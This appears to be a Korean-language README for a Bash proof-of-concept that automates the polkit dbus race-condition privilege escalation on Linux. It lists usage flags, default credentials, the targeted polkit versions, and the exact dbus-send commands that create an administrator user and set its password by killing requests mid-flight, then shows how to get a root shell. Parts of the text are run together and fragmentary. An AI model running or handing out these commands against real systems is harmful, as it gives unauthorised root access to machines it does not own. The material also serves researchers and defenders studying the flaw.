
이것은 Kevin Backhouse의 블로그에 언급된 공격 절차를 자동화하는 Bash PoC 스크립트입니다. 이 취약점에 대한 그의 게시물을 읽어보세요: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice와 gnome-control-center가 설치된 배포판에서만 동작하며, polkit 버전 0.113 이상 또는 0-105-26(polkit의 Debian 포크)이 있어야 합니다.polkit 버전 0-105-26(polkit의 Debian 포크)이 설치된 Ubuntu 20.04와 polkit 버전 0.115가 설치된 Centos 8에서 테스트되었습니다. 대상이 취약하다고 확신하지만 익스플로잇의 검사 기능이 실패할 경우, -f=y 플래그를 사용하여 모든 검사를 우회하고 익스플로잇을 강제로 실행하세요.이 취약점을 수동으로 익스플로잇하기 위한 자세한 설명과 PoC는 연구자의 블로그에 상세히 나와 있습니다.
이 익스플로잇의 TL;DR은 다음과 같습니다:
dbus 메시지를 보내 polkit을 트리거하되, polkit이 요청을 처리하는 동안 요청을 갑자기 종료함으로써 이 취약점을 악용할 수 있습니다. 그런 다음 공격자는 이전 요청의 고유 버스 식별자를 사용해 두 번째 요청을 보내 UID 0, 즉 root 권한으로 요청을 실행할 수 있습니다.polkit이 더 이상 존재하지 않는 버스 식별자를 가진 연결의 UID를 UID 0의 요청으로 처리하기 때문에 발생합니다. 즉, 공격 타이밍을 정확히 맞추고 첫 번째 요청을 적절한 순간에 종료할 수 있다면, UID 0, 즉 root의 권한으로 두 번째 요청을 보낼 수 있습니다.앞서 말했듯이, 이것은 Kevin Backhouse의 PoC를 자동화하는 bash 스크립트에 불과합니다. 핵심 명령은 동일하며, 일부 초기 단계(타이밍 계산, 취약점 검색, 사용자 지정 자격 증명 삽입, 예쁜 색상 출력 등)만 자동화했습니다.
이 스크립트를 매개변수 없이 실행하면, 스크립트의 기본 동작은 다음과 같습니다:
/etc/os-release 파일 사용]accountservice와 gnome-control-center 설치 여부를 확인합니다. [rhel/centos/fedora에서는 rpm -qa를 사용하고, debian/ubuntu 배포판에서는 dpkg -l을 사용합니다].rhel.centos,fedora의 경우 0.113 이상, Debian/Ubuntu의 경우 0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null $t)은 요청에 필요한 시간을 2로 나누어 계산됩니다. () [awk를 사용하여 계산]su - <username>을 사용해 계정에 로그인한 다음, sudo bash를 입력하여 root 셸을 얻을 수 있습니다!Esc 키를 눌러 인증 프롬프트를 닫고, Ctrl+C로 스크립트를 빠르게 종료하십시오.$t=time-required-to-request/2$t)이 계산된 후, 대상에 $username(secnigma)을 삽입하는 요청이 20회 반복됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma로 확인], 비밀번호 해시가 생성됩니다 [bash openssl passwd -5 `echo -n $password` 사용]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!